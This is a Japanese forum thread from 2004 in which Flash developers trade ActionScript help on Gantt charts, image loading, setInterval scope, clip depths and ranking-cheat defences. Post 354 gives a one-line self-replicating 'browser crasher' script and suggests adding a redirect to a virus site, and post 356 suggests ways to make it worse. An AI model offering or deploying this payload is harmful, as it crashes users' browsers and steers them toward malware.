とりあえず商売道具として用意されてる=作るのは不可能ではない、ってことで。

303:298
04/08/01 16:30 TJ89KRqn
>>302 どもども。
それは先日資料請求してみました。(まだ届いておりません
データのIN がどうなっているのか疑問なところです。

作るのは不可能ではないのはわかりましたが、動的に
(いわば、ガントチャートの行数の変化)描画することができ
かつ、ガントチャート内にさまざまなリンクがはれるかどうか?ですね。

今そのサイトを見直してみると、トライアル版があるようなのでDL してみます。

304:300
04/08/01 22:40 6Ig8L9fQ
>>303
おっホントだ!こりゃいいモノ見つけちゃった。<ダウンロード
URLリンク(www.ebizsolution.jp)

ム板にも出張してるご様子なのでこっちでもちょろっと事例紹介。
URLリンク(www.podpop.net)
これはColdFusion+Remoting+MySQLだけど、
初めて見た時は感動しちゃったよ。体験版にガントチャート(らしきもの)もあるよ。

305:298
04/08/01 23:25 TJ89KRqn
ム板への出張バレてるんですね。w
IDが出ていなくともわかるんですか、ふむふむ。
j2ee 鯖関連だったのであちらへの質問が正しいかと思い出張してました。

事例紹介うれしいです!
これまたすっごいシステムですね。今まで見た中で一番すごいです。
確かに感動です!
ColdFusion+Remoting+MySQL となぜわかったのでしょうか?
(時間が遅くなりそうなので調べる前に質問してしまって申し訳ありませんが。。。

>>300 さんが普段開発されるシステムの組み合わせも教えていただけませんでしょうか?



306:300
04/08/02 00:04 M7exX86y
>>305
CFとMySQLはサイト内のシステム要件とかに書いてありますよん。
Remotingは最初っからCFにバンドルされてるのでそれを使ってるって感じです。

当方はJRun4でDB+Java+Remoting+swfのテストをやったことあるだけで、
実業務のシステム開発までは残念ながらやった事ないっす。
>>304でポンっと事例を提示できたのは、
そのテストの最中に色々調べた経験があるからです。

てなわけでこれ以上に何か質問/突っ込みがあったら他の人にパスw

307:298
04/08/02 00:27 4YOsZUpV

確かにありました。
> ※PodPop/cwのご利用には、以下の環境が必要となります。
> Macromedia ColdFusion MX、Macromedia Flash Communication Server、MySQL

面白そうな構成ですね。JRun を触ってみたいです。
とりあえずの私の構成イメージは
Oracle + weblogic + remoting + flash といったところです。
データのIn/Out とflash のガントチャート描画がネックですかね。
実現できたらいいなぁ。

サーバー側の情報量の少なさったらないですもんね。
ぜひとも開発して私が情報提供できる立場になりたいです。

たくさんの情報提供ありがとうございました。


308:Now_loading...774KB
04/08/02 20:11 vjGVIm9m
>>282
アセンブラ(というかASVMのバイトコード?)は発見。
既存のswfのスクリプト部分を逆アセンブルして書き出し。
それを変更すると元のswf自体を書き換えてくれるリンク機能付き。
ついでに無駄なコードは最適化してくれるようだ。AS2.0(のバイトコード)対応なんで、
いろいろ面白い事できそう。

309:Now_loading...774KB
04/08/02 22:14 QT5Sa3/r
this.visible = false;
getURL( "javascript:document.write('ぬるぽ')");

310:Now_loading...774KB
04/08/05 20:53 5Iwg4yF6
>>302
>「Flash ガントチャート」でぐぐったら

200万かぁ~
おれも「横軸が時間、縦軸が対象物」なの作った事あるけど、
プロジェクトファイル公開したら買う人いるかね。100万位で。

ちなみに描画するデータは、Flash側が起点の日付と期間、
ID等を送信してリクエスト(XML.Loadだったっけ?)。鯖側が
XMLを吐き出す仕様。横軸の移動はリクエストを出し直し、縦軸は
マスクしてスクロール。行のクリックで所定URLへの移動可能。
表示スパンは月/週/日で切り替え可能。週と日の表示時は横軸
の時間に対応したポイントと長さの指示を行うようになってる。

どうよ?

311:Now_loading...774KB
04/08/07 12:11 LLbZHkS/
チャートの描画方法が気になる。
全部LineTo で書いてあったりするのかな?

312:Now_loading...774KB
04/08/08 23:04 vMA/OvaH
DBで任意のサムネイルを300個程度呼び出してhoge_mcにテーブル状にはめこむ
FLASHをつくっているのですがloadingが上手く出来ません。

原因は300個の画像をまとめて呼び込んだあと10フレーム程進めて(時間をおいて)
画像が含まれているTABLE_MCのサイズを取得しても正確な容量が取得できないから
ですが対策方法わかる人いますか?

ブロードバンドなら問題ないけどナロー(ダイアルアップ)はサイズが取得できません
100フレームぐらいあとにサイズを取得すれば正確に取得できそうですが
そうすると今度はブロードバンドの人が待たされてしまいます



313:312
04/08/08 23:07 vMA/OvaH
スレ違いっぽいのですがこんな変態的なスクリプトは他のスレでは
経験なさそうなのであえてこのスレで質問しました。

wim2000 MXです


314:Now_loading...774KB
04/08/08 23:15 f5dKWQ6W
ondataでサイズを確認してみたらどうだろう。
少なくとも実機でイベントを認識できるタイミングでの処理になると思う。

315:Now_loading...774KB
04/08/08 23:15 W5gcbCYB
>>312
300個同時に読み込まずにすればいい。

316:Now_loading...774KB
04/08/09 00:20 aQC7tFXx
>>314
ありがとうございます。
hoge.onData=function(){
trace("complete")
}
撃沈しました。
>>315
300個をループで順次呼び出す以外ですか?
どんな感じでしょう?ニュアンスだけでも助かりますので教えてください。

現状はhoge_mcに空のMCを作ってその中にサムネイルを入れて300回廻してます。
その後と10フレーム程度時間を置いてhoge_mc.getBytesTotal()で取得しています

hoge_mcのサイズ取得をが出来ないとなると300個のサムネイル一個一個でondataか
getBytestotal()ってことでしょうか?

317:Now_loading...774KB
04/08/09 23:05 U+KilWFt
316ですが自己解決しました


318:Now_loading...774KB
04/08/10 03:08 iIYxlQbM
>>317
面倒でなければどのように解決したかも記載してくれると嬉しいかも。
質問に対する回答をしてくれた人たちに御礼も兼ねてね。

319:Now_loading...774KB
04/08/11 11:18 WkVeyF+X
10フレーム後に1回だけ呼び出してた
hoge_mc.getBytesTotal()を
エンターフレームで回しただけです。
負担が増えるので使いたくなかったけどエラー出すよりマシなので
ちゅーか近所の漫画喫茶でナローの確認してた。
光でナロー回線を再現するいい方ってありませんか?

320:Now_loading...774KB
04/08/11 14:34 Pc7Fm4CY
ムービープレビューで擬似的な回線速度を指定できるよ

321:Now_loading...774KB
04/08/11 18:02 SvFPT8Os
>>320
DB連携でしかも外部データー読み出しなのでローカルでプレビューできないんです。
MX2004ならできるのでしょうか?

322:Now_loading...774KB
04/08/12 07:17 M0wRc0gq
>>321

ナローな環境の場所に自分専用串でも置けば?
・・・そういえば帯域幅制限できる串無かったっけ?


323:Now_loading...774KB
04/08/15 23:08 a4D/kT9T
ASでグラフとかできそうなのはわかりましたが、
ASのみでどこまでFLASHの表現ができるものなんでしょうか?(アニメとかゲームとか)


324:Now_loading...774KB
04/08/15 23:21 c4IlSRBq
>>323
スレタイも読めないのか

このへんで適当にやってくれ
actionscriptに行き詰まった厨が語り合うスレ2
スレリンク(swf板)

325:323
04/08/16 01:11 lL7vCBkz
>>324
そこはただの質問回答スレですね。
>>1に「コアな技術交換&雑談にもご利用下さい」と書いてあるので
こっちに書き込ませていただきました。


326:Now_loading...774KB
04/08/16 01:26 x6h5itn3
一方的な質問と雑談で話題をふるのは違うぞ。

327:Now_loading...774KB
04/08/16 02:53 AjOMUfZ6
>>323
アニメ → 根気と描画メゾット使えば幾らでも

328:Now_loading...774KB
04/08/16 06:33 i6arPDJI
>>325

URLリンク(www.sns-studio.jp)
これでも見て、クソして寝ろ。

329:Now_loading...774KB
04/08/18 00:53 qv2SmYkq
URLリンク(www.actionscript.cl)

ここの、8、12、14なのですが、
どうやってこんな変形をさせているのでしょうか?

プロパティを変更するだけでは、この変形できないですよね。

平行四辺形にモーションで変形させたものを
2回通して、読み込んでいるようにも見えたのですが、
8を見ると、そのまま変形できるようにも思えます。

どなたかヒントだけでも。

330:Now_loading...774KB
04/08/18 01:25 dF/wH6xP
らいんとかーぶ

331:Now_loading...774KB
04/08/18 03:42 rp82f+jb
>>329
14はMCの中にMCを入れてやれば多分出来る

332:Now_loading...774KB
04/08/19 21:14 XQ+ZIJ71
>>329
簡単にやるなら1から360フレームまで
ぐるっと変形でシェイプさせる
その角度情報をgotoAndPlayで逐一飛ばす
ってぐらいしか思いつかないorz

333:Now_loading...774KB
04/08/19 22:03 SvHOGoPu
>>329
URLリンク(www.actionscript.cl)
URLリンク(www.actionscript.cl)
URLリンク(www.actionscript.cl)

url抜き出し。
暇な人フラクリとかで解析ヨロ

334:Now_loading...774KB
04/08/19 22:41 5Ys8oFWv
>>333
こんなの解析しなくてもわかるよ。
入れ子にしたMCで平行四辺形を作れるようにして、中に三角のテクスチャー貼ってるだけ。
あとはパラメータを3点から逆算して求めるだけ。なんちゃってポリゴンの完成。

335:Now_loading...774KB
04/08/19 23:13 nAetxoPC
>>328 のグラフのソースをくれぇー。

336:Now_loading...774KB
04/08/19 23:18 2GsQzJZf
>>335
どれ?俺がつくるよ。

337:Now_loading...774KB
04/08/20 01:37 ATrwX365
//コンストラクタ
function check(){
this.Mc = new Array(5);
}
//**********************
check.prototype.Mc= 0;
//**********************
check.prototype.set = function(){
trace( "set" );
for( var i = 0; i < 5; i++ ){
this.Mc[i] = createEmptyMovieClip( "mc" + i , i );
trace( this.Mc[ i ] );
}
}
//*********************
check.prototype.get = function(){
trace( "get" );
for( var i = 0; i < 5; i++ ){
trace( this.Mc[ i ] );
}

}
a = new check();
a.set();
a.get();
ID = setInterval( a.get, 1000 );

インターバルを使って中身を見てみるとundefinedになってしまうんですけど
これはどうしてでしょうか?

338:Now_loading...774KB
04/08/20 03:12 LmSDX6wX
オブジェクトがどこにあるのかを考えよう。

339:Now_loading...774KB
04/08/20 08:50 ATrwX365
>>338
レスありがとうございます
check.prototype.Mcを_global.Mcにしてやったらうまくいったんですけど、
今いちわかりません。

this.Mcはクラスの中で宣言した変数を見てるって考えてたので
getを使えば同じ変数を見てくれると思ってたのですが違うって事でしょうか?
実際に見れてなかったので違うって事だと思うのですが
どうしてかいまいち理解できません。
もし良ければ教えてもらえないでしょうか?お願いします。



340:Now_loading...774KB
04/08/20 09:48 vdGDArid
>>339
いや、クラスの定義自体は間違ってないよ。setIntervalの使い方が間違ってるだけ。
俺も昔はまったけど、メソッドを呼び出す場合は
ID = setInterval( a, "get", 1000 );
と記述しなければならない。ヘルプをしっかり読めば書いてあるんだなこれが。

341:Now_loading...774KB
04/08/20 09:50 ei+tV28C
function check(){
this.Mc = new Array(5);
}
//**********************
check.prototype.Mc= 0;
//**********************
check.prototype.set = function(){
trace( "set" );
for( var i = 0; i < 5; i++ ){
this.Mc[i] = createEmptyMovieClip( "mc" + i , i );
trace( this.Mc[ i ] );
}
}
//*********************
check.prototype.get = function(){
trace( "get" );
for( var i = 0; i < 5; i++ ){
trace( this.Mc[ i ] );
}

}
a = new check();
a.set();
a.get();
ID = setInterval(function () {a.get()}, 1000);

理解できないのは基本がわかってないからです。自分で考えましょう

342:Now_loading...774KB
04/08/20 10:03 ATrwX365
>>340
>>341
ありがとうございます
インターバルの設定がおかしかったんですね…
勉強になりました。
これからはもっとヘルプを読むようにしていきます。




343:Now_loading...774KB
04/08/20 13:21 WbyjwCLt
>>334
頭いいね。
分かったよ

344:Now_loading...774KB
04/08/20 15:16 LmSDX6wX
>>340
まあ、結構はまるよね。
traceしたら気づくけど。
お勧めはしないけど
functionの中に
this = _root;
とか書いても動きます。

345:335
04/08/21 01:19 8Z9HsFoW
>>336

とりあえず
URLリンク(www.sns-studio.jp)

おねがいしまー。まじたのんます。

346:335
04/08/21 14:59 8Z9HsFoW
レイヤーとムービークリップをdup やattach するときの深度って関係ないでしょうか?

現在自分でも上記グラフを挑戦しておりまして、
_root ムービークリップ上のテキストエリアで値を入力、
その後createEmptyMovieClip でその入力欄の上に透けた背景を作成、
その上にグラフを描画する。というのを考えているのですが、
最前面に透けた背景がでてきてくれません。
透けた背景の前に数値入力欄や描画ボタンがでてきてしまいます。

どうすれば矩形のスクリーンを最前面に配置できるのでしょうか?

347:335
04/08/21 15:14 8Z9HsFoW
追記。
レイヤー2 
レイヤー1 

画面上でこのように表示されているとします。つまりレイヤー2が上。

で、レイヤー1でcreateEmptyMovieClip("hoge_mc", 1000);
レイヤー2でcreateEmptyMovieClip("fuga_mc", 999);
各レイヤーにはlayer2_mc, layer1_mc があるとします。
これら4つのmovieClip の重なり順序はどうなるのでしょうか?

348:Now_loading...774KB
04/08/21 15:44 mQzSwpmN
>>347
レイヤーはオーサリング時の機能。
出力時には全てタイムラインごとにdepthで管理されるよ

そのASならば
hoge_mc・・・1000
fuga_mc・・・999
layer2_mc・・・-1
layer1_mc・・・-2
って感じに重なると思う

349:335
04/08/21 21:27 8Z9HsFoW
>>348 レス感謝.
なるほど。
タイムラインごとに深度がある、と。
ちょっと考えてみます。(微妙に納得できていない。。。

> layer2_mc・・・-1
> layer1_mc・・・-2

とありますが, これは便宜上つけた数字ですか?
実際にそのような深度が割り当てられているのでしょうか?

あと、getNextHighestDepth()で最前面にするための深度を取得してみたのですが、
配置した覚えのないようなかなり大きな数値が戻されました。
これはいったいどういうことなのでしょうか?
デフォルトでなにか持っているということなんでしょうかね。

350:Now_loading...774KB
04/08/21 23:38 hg0MSf/I
スクリプトで配置されたのではないオブジェクト
(まあ、要するにステージ上に普通に配置したオブジェクト)には
深度-16383から純に深度が割り当てられます。
なお、この深度に対してはremoveMovieClipはできません。

351:335
04/08/22 00:11 n/99Dq4p
では、348 の-1, -2 の深度は便宜上のものであり、
実際はlayer2_mcとlayer1_mc しかない場合、それぞれ

layer2_mc・・・-16382
layer1_mc・・・-16383

と割り当てられているということでしょうか?

352:350
04/08/22 01:17 5eJc8WqO
一般的にそう考えていいでしょう。
ただし、必ず連番になるわけでもなく
-16383
-16381
-16379
と、一つとばしで使われたりします。
まあtraceしたらすぐわかるので試してみたら?

353:335
04/08/22 01:43 n/99Dq4p
なるほど、たしかにそういった値が使われていました。
私の場合は連番になってました。

ふーむ、かしこくなりました。w

354:FLASHをブラクラにする方法
04/08/26 14:12 GYIosIOM
ローカルで実行しても効きます。JS切っても無駄。
この1行のスクリプトをメインタイムラインのキーフレームに張るだけ.初心者でも簡単.

onEnterFrame=function(){getURL(_url,"_blank");}
しくみは、毎フレームごとにこのflash自身をIEで開かせる
て増殖したやつもまた毎フレームごとに増殖
するとどうだろう。瞬く間に鼠算式にflashが開き
「ok.ブラクラゲット」っとなるわけだ。
こちらで実験したところ数秒で落ちました。

さらに、このスクリプト冒頭にgetURL("ウィルスサイトのURL","_blank");を張ればこれ,最強
(ウィルスは自分で探してちょ)

355:Now_loading...774KB
04/08/26 14:42 tKntJ4gR
このスレでブラクラ作れない香具師なんていないよ。

356:Now_loading...774KB
04/08/26 15:23 i2CJsyvM
urlにmpgとかwmvとかmailtoとかいれるとさらにGOOD!

357:Now_loading...774KB
04/08/26 20:04 PVsRBH8x
se.swfとre.swfを作って
se.swfの中にはmcがいくつかありそのmcに外部jpegをロードさせてます
ロードが完了したらボタンの設定をしてます
ロード、mcのボタンの設定等はクラスの中で行ってます
ボタンの設定の際

]
this.send_lc = new LocalConnection();
//this.send_lc.send( "Channel", "Func", "ok" );
for( var i = 0; i < Max; i++ ) {

//mcのボタンの設定
tis.mc[ i ].onPress = function(){
this.send_lc.send( "Channel", "Func", this.id );
}
this.mc[ i ].onRelease = function(){
this.send_lc.send( "Channel", "Func", this.id );
}

}

の様に書いてます。


358:Now_loading...774KB
04/08/26 20:05 PVsRBH8x
>>357
の続きです
またse.swfにはre.swfからの値を受け取るための受信用のLocalConnection
も作って、
re.swfにはse.swfからの受信用とse.swfへの送信用のLcalConnectionを
作って実行さてます。

実行してみるとmcをクリックしても値が変数を渡す事ができてないのですが、
ボタンの設定前に送信をしてみると値はうまく渡されます。
(上のスクリプトでコメントアウトしてる位置に記入すると)
mcが反応してないだけかと思ってtraceをして確かめた所そんな事はない
なかったので何が原因かわかりません。
またthis.lc_sendをtraceした所object,sendをtraceしたらfunctionとなった
のでちゃんと作られてると思うのですが…



359:Now_loading...774KB
04/08/26 20:22 PVsRBH8x
>>357

//mcのボタンの設定
tis.mc[ i ].onPress = function(){

記入ミスしてました。正しくは
this.mc[ i ].onPress = function(){
です。
すみませんです


360:Now_loading...774KB
04/08/26 21:28 PVsRBH8x
>>357
357です
なぜかre.swfの方からの送信はうまく言ってます
もしかしてクラスの中でLocalConnectionの使い方が悪いのでしょうか?
だけどそれだと受信が出来てる事がおかしい様な…


361:Now_loading...774KB
04/08/26 21:36 yXgm9J9y
tis.mc[ i ].onPress(Release) の中でthisと言った場合はmc[i]だからそこにはsend_lcが存在してない。

362:Now_loading...774KB
04/08/26 22:35 PVsRBH8x
>>361
ありがとうございます
指摘通りでした。自分でthis.idって使ってるのに気づかないとは・・・。
とりあえずthis.lc_sendをクラスのメンバじゃなくして実行した所うまくいきました。

ここで聞く事じゃないかもしれませんがもしければlc.sendをクラスのメンバと
したままonPressの中に書くやり方を教えてもらえないでしょうか?
traceでパスを調べた所_parentでもundefinedが返ってきたので
どうパス指定していいのかわかりません。


363:Now_loading...774KB
04/08/26 23:06 i2CJsyvM
for の中で

this.mc[ i ].send_lc = this.send_lc

とか

this.mc[ i ].parent = this;

とかしておきなさい

364:Now_loading...774KB
04/08/26 23:31 PVsRBH8x
>>363
ありがとうございます。
うまく動作しました


365:Now_loading...774KB
04/08/27 00:26 1NUfDBKK
swfファイルを解析されて
swf内でCGIにアクセスしている部分と、
そのCGIに渡しているパラメータを見られてしまい、
ランキングデータを操作されてしまったのですが、
この不正なアクセスを防御するための、うまい作りはありませんでしょうか。

防御手段としてCGI側で
・POSTのみを許可
・リファラーをチェックし、
 空文字でなく自分のドメイン以外のURLからアクセスされた場合はエラーにする
 (FlashからCGIにアクセスするとREFERERが空になってしまうため、
  空文字の場合は許可せざるを得ない状況に)
といったことを考えました。

内容が簡単なシューティングゲームやパズルゲームだったりするもので
気軽に登録できる、といったことにしたいので
パスワード認証などの処理は省きたいと考えています。
何かいい知恵がありましたらご教授ください。


366:Now_loading...774KB
04/08/27 01:45 vPaWGXuj
>>365
完璧な防御方法は無いです。

・FLASH内で処理を分散させて解読しにくくする
・送信するデータは暗号化する
・MD5ハッシュ等で偽装防止する

とか
わかる人に解析されたらアウトだけどねorz

367:Now_loading...774KB
04/08/27 02:04 CGwqmjj7
まくろめでぃあが無料でプロテクト強化のパッチを配布してくれるとうれしい

368:Now_loading...774KB
04/08/27 02:24 CTvnimxu
>>357 GACとマルチな上にむこうで自己解決宣言とはな(w

369:Now_loading...774KB
04/08/27 17:14 JC5mENwN
Flash 7.2 アップデータキタ━━━(゚∀゚)━━━ !!!!!

アップデータに含まれている主な項目:
・アプリケーションの起動時間を短縮
・コンパイル速度をおよそ 2 倍にスピードアップ
・400 以上のコードサンプルの追加
・コンポーネント使用法に関する追加ドキュメンテーション
・100 ヶ所以上のバグフィックス詳細については、リリースノート を参照してください。

やっと来た。

370:Now_loading...774KB
04/08/27 17:40 JC5mENwN
日本語フォントのバグ治ってねええー
超萎え

371:Now_loading...774KB
04/08/27 18:36 69IEV4Cj
イラレの読み込みのバグもやはり直ってない。


372:Now_loading...774KB
04/08/27 19:57 dX6LOGbe
進行中のプロジェクトが有るんだけどバージョンアップしてもいいのかなぁ

373:Now_loading...774KB
04/08/28 01:18 4D0Q2eGg
HTMLのスクロールとFlashのスクロールを連動させることって可能だと思います?
HTMLで左にヘッダを表示してFlashで右フレームにデータ部を表示したとき
上下スクロールさせてもヘッダと項目がズレない。ってな。

374:Now_loading...774KB
04/08/28 06:07 Mx9nplxx
特定のブラウザなら可能かも知れないけど
そうするメリットがわからん。

375:Now_loading...774KB
04/08/30 03:21 vBVloBFi
いつから質問スレになったんだここは。
やさしすぎるのも罪だぞ。

376:Now_loading...774KB
04/08/31 03:34 LtrrmgOo
>>334の言ってる事がよくわからない・・・
だれかサンプル作ってくれませんか?

377:Now_loading...774KB
04/09/01 06:41 5wQm2JJk
Extension Managerが起動しなくなったんだけど。。

378:Now_loading...774KB
04/09/10 05:10 HxVm+RGA
>>370
macromediaは日本人と、狭いモニタ使ってるやつのことなんか考えてないんですよ。


次ページ
最新レス表示
レスジャンプ
類似スレ一覧
スレッドの検索
話題のニュース
おまかせリスト
オプション
しおりを挟む
スレッドに書込
スレッドの一覧
暇つぶし2ch